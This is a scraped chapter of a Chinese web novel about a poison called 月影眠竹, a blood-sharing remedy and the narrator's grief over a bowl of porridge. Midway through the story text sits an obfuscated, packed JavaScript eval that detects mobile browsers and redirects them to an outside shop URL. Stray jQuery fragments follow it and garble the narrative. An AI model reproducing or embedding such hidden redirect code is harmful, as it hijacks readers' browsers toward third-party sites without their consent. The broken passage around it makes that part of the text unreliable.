文趣网 > 其他小说 > 公主她只想抱住恩人 > 12.月影眠竹和一碗粥
    慕迟羽身形刚稳,锦裳种种配饰如同碎玉滚冰。风卷几缕鬓边青丝,环佩琳琅余音阵阵。

    他极缓微热的气息只与我接触一瞬我就把手收回了,朝他微微点头示意,随后就和花玉离开,然后绕了一周又摸到门侧继续听起他们的话。

    “代珩,你怎么不说……你毒怎么发作了!还没入夜,月影眠竹怎会发作?”慕迟羽声音有些讷讷,刚要玩世不恭起来,看到屋内情况戛然而止,语气迟疑凝重。

    代珩声音微哑,隔着厚厚木门响起,却清晰不容置喙:“北狄王子,少管在下的闲事。”

    似乎残存的意志和万般痛苦正抵死缠绵,他浑身的骨血之间仿佛有着不世之仇,唯死方休。

    慕迟羽对这句少管闲事的命令不仅没听,还毫不犹豫从窗子一跃进了书房内室,拿着袖中短剑把自己手臂划开一道,转身一把拽过弗言的剑,气势汹汹几步上前如同要杀了代珩——

    却是几步上前夺过了代珩一条手臂,用剑长长一划将其割开,隔着屋门仿佛也乍然能闻到淡淡血气,随后似将血液相融渡过了代珩的毒血。

    “诶公子,慕迟羽你,下手也太重了!”弗言怒声,他见慕迟羽拔剑动作原本大惊要上前阻止,却见只是渡过毒血,气势便尤显不足。转而话意道划他自己用嵌珠宝的小刀,干什么划他们公子要用他的佩剑。

    慕迟羽闻言也不恼,语气也恢复成刚进府那般风流潇洒,手里的剑往弗言处一抛,摊手无奈:“你公子马上疼晕过去了,月影眠竹可没有解药,除了与巫族血脉换血不可解,我虽不是巫族,却与圣女签订了血契,这毒对我没用,我解不了他的毒,却能分担一二,这才大白天就这样了,你公子今晚可有罪受。”

    月影眠竹,见月光便如眠竹疯长,一瞬之间开始疼痛,浑身骨节相挤相斥,血液如同竹叶长成无数针刺,折骨吸髓,让人直想用刀剑将浑身皮肉全划开才好,划得皮开肉绽,好像那样就能从痛苦中解脱出来。

    但就算自伤也无济于事,只能徒添伤痛,眠竹生于骨血,只有到天光微亮,月影散去才可让痛苦稍缓。

    代珩沉默许久,将痛尽数咽进喉咙,声音与平日里净月映坛的平静早判若两人,语速极缓嘶哑道:“巫族圣女的遗愿是巫族密法不再现世害人,我生死已成定局,你大可让我自生自灭。”

    却听得屋中慕迟羽无辜声音响起:“我是真心认你这个大舅哥的。”

    代珩沉默一瞬:“少琼不会跟你走,你别想了。”

    慕迟羽好似十分受伤,叹息道:“为何?我又没说现在,十年二十年,我总该能打动你妹妹。”

    “王子又可能打动北狄王宫众多手下吗,北狄人对中原恨之入骨,公主被关押便死于你手下酷吏,少琼跟你走,怕也要被谁不明不白得而诛之。”随着代珩微哑气声响起,我听见了他身上清晰的骨肉作响,像利刃刺破血肉在搅动,他不作停顿恍如未觉般继续道:“况且即便我松口,她走还是不走,你和我谁说也不算。”

    “奉璋,你少拿话来刺我,我会伤心的,你明知那是意外,即便没有那小吏自作主张,公主中了你们中原毒箭,也活不成了。你怎么还是这个脾气,真不知道你在北境三年,那些人说你弑父杀兄不配为人,你是怎么忍到现在的。”

    “我倒还不如真死在那时候,”代珩毒渡过去不少,像爆发的火势被几层薄薄宣纸暂时掩盖,却也终于得到表面的平息,他整个人方才有些脱力道,“也不必难为你了。”

    寻了三年,公主死了,少琼死了,什么都没救回来,周亦说得没错,他无能为力,慕迟羽受血契影响不能对巫族之事见死不救,他没死成连着慕迟羽也被连累。

    “奉璋,人的生死有数,我这辈子,和你妹妹有天命姻缘,最后会死在你妹妹手里,是我躲不过去的劫。我知自己命数,咱俩死期谁先到还真未必,你也不用那么悲观,你至少现在还活着,几年时间说不定我能找到救你的法子。”

    我无知无觉和花玉回了房间,一路上我握着手上装匕首的匣子,这匕首原本是刺我心脏的凶器,也是陈怀素被始乱终弃的证明。但此刻,什么报恩报仇,我只想让代珩活着。

    已经接近酉时,天蒙蒙黑了,北境天黑极早,在京城此时天色还得亮上一个时辰,天一黑面前什么虚影都几乎看不见,我脑海里全是代珩那强忍着痛苦的声音。

    凭什么疼的是他呢?陈怀素与他素不相识被救回府中收留,玉衡这样的恶人也会被他慈悲怜悯,我的挣扎木讷,狠毒麻木,在他面前根本无所遁形,他什么都能看穿,也什么都管。什么阴谋算计只有自惭形秽的份,我以为他是流落人间的菩萨,为何命运不对他慈悲些呢。

    慕迟羽说巫族的血可以解那月影眠竹,若我还是玉衡就好了,虽然玉衡不该苟活于世,哪怕是死前遭受百般酷刑也绝未赎罪。这样的人与代珩有交集本身就是对他的玷污,可就是一个如此罪孽深重的人,满身毒血却可以成为一个菩萨的救命良药,若真能用我的命,换代珩的命,也算稍稍死得其所些。

    “姑娘,迟大夫来了。”花玉的声音将我思绪打断。

    “迟大夫我眼睛能看到些光影了,您来为我施针可以扎狠一些,我什么痛都能受,说不准我立刻就可重见光明了。”我无波无澜地说。

    “姑娘莫急,万事皆有定数,时辰到了姑娘眼睛才能好,若没到,哪怕我给你头上扎满银针,姑娘也还是看不见,伤势若不顺其自然,便如同揠苗助长,绝不应以人志强求改路。”

    “迟大夫,少琼姑娘是自尽对么,您也顺应她的意志。”代珩说迟大夫帮着少琼一起瞒他,说她已经回光返照命不久矣,也是想让代珩心里好过些吧,可代珩偏偏什么都知道。

    “……是。”

    我不再追问,顺应心意,由不由代珩的手来了结自己的亲妹妹,为何没人顺应他的心意。

    “当年,我阿姊一心求死,我和母亲一起拼命拦着她,她每活一天就往自己皮肉里塞进一枚银针,最后把自己活生生折磨而死。”迟大夫一边说她阿姊,一边手上不停,为我头上穴位攒针。

    把一根根针整个塞进皮肉?

    我听到这话一愣,身上汗毛顿时直竖起,头上攒下的针好似也要整个嵌入我的皮肉,在我的发间缓缓摩擦,我整个人微微一僵,微微刺痛下我听到像树叶细簇的簌簌声,针却只扎到穴位就停下了。

    “了无生志的人,或许活着才是痛苦,让阿姊留下,我每日都想是不是做错了,是我造成了她的痛苦。”

    谁也没资格论她们对还是错,或脆弱或坚强,人死了什么都没有了,替他们做决定的人,无论是强留还是顺意,都饱受煎熬,谴责愧疚度日。

    我辗转反侧到夜里,天黑了朔风不停呼打着窗棂和木门,像冤魂在拍门索命,屋里又黑又寂,需要捂着厚被子,房中燃起炭火才能稍有暖意,花玉在耳房,应当更冷。

    “小花。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17807292|210155||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ”

    只等了片刻,花玉的脚步声就到了门外,她打开门探头道:“……姑娘有什么吩咐吗?”

    “要不要一起?”

    花玉见我拍拍被褥邀她一起,她登时又打开了话匣子,继续上次的话讲她的王爷,我失笑。花玉早将什么中毒的事抛于脑后了,从代珩那偷听回来,直到现在我才好像活过来了。

    “姑娘饿了吧,一天都没吃东西,我去厨房看看,姑娘想吃什么?”小花说着话,人已经快一溜烟跑走了,她回头问我。

    “什么都成,有现成的最好。”花玉好嘞一声又没声音了。

    昨晚周亦找到我,大概和现在是同样的时辰。

    周亦说等他的指令。他只当我是陈怀素,绝不可能因我帮他的忙就也为我所用,上次还拿刀架着我的脖子,一个行差踏错便立刻取我性命。

    我生母若真是巫族圣女,在宫中枉死,若想寻得月影眠竹解毒之法或许还得重新入宫,需得让周亦这天子亲卫供我驱策。

    我或许该想想这些时日,如何让周亦自己发现我的身份,违抗皇命也要留我的人,我惨死使他懂得仇恨,若此时失而复得,再发现他万般亏欠的玉衡公主尚在人世,他会如何呢。

    “姑娘,我在厨房又碰到了弗言,王爷今日手臂被划了剑伤,他在厨房熬参苓粥,说给姑娘也带一碗,可以补气血。”

    参苓粥,我眉头紧紧一蹙,这粥又苦又涩,舀到嘴里咽不下,我一听到名字就立刻想起了,彼时我刚被父皇第一次也是唯一一次责罚,只因为一件衣服,我就被罚跪了三天。

    那时就是代珩从将军府把粥带给我,说是他母亲替我煮的。从来没人为我煮过什么东西,失魂落魄下肚的粥又扎又暖,参苓粥就承连着那段不甚美好的记忆,我恨他,也仰望他,他的好可以轻易溢出来分别旁人,他的家人和睦,兄友弟恭,他可以做自己想做的任何事,也可以选择把毫无城府的真心捧于人前。

    旁人轻描淡写的善意于我而言就像施舍,他的芒焰灼伤我心中那未明的角落,无论是得到还是给予,我从来都不敢、不能、也做不到。

    过了好几年,简单的粥我也尝不出花来,之前的味道早不记得了,也许就是这个味道,和我在他窗外偷听的时候,涌到我面前的草木香一样,清苦沉寂,明明是一碗并无灵魂的苦粥,我也不敢喝,觉得倾注了别的东西,浅浅尝了便能让人格外清醒。

    我双眼暂矇,眼前尽是如梦似幻的虚影,我捡来了许多不属于我的光景,但我从来不信命运会给予我馈赠,我总以为是幻想、是虚无、是临死前最后的希冀,是前世未了的执念,便忍不住贪图这一时极乐。可总得有这些格格不入的东西刺着我、搅乱我,我才知道尚在人世,不可心存妄想。

    我窝在床边矮几一勺勺舀着粥,又热又暖,我眼睛有些酸,分不清苦在粥还是在我心。

    代珩母亲死了,家破人亡,就算当年的粥不是这个味道,我和他都再也不会尝到了,我们之间永永远远隔着那个人的仇恨。

    想到迟大夫说我的眼睛不可流泪,我连忙思向别处。

    明天该怎样让城主和那未曾谋面的侄子口吐真言呢?那人皮面具,让代珩月影眠竹白天就发作了,城主侄子怎样认识少琼,少琼身上的伤,使少琼失去神智的罪首,他们又各占了几分。

    笃笃叩门声响起,紧接着慕迟羽的声音在门外传来:“少琼妹妹,方才是我冒昧,来给妹妹赔不是。”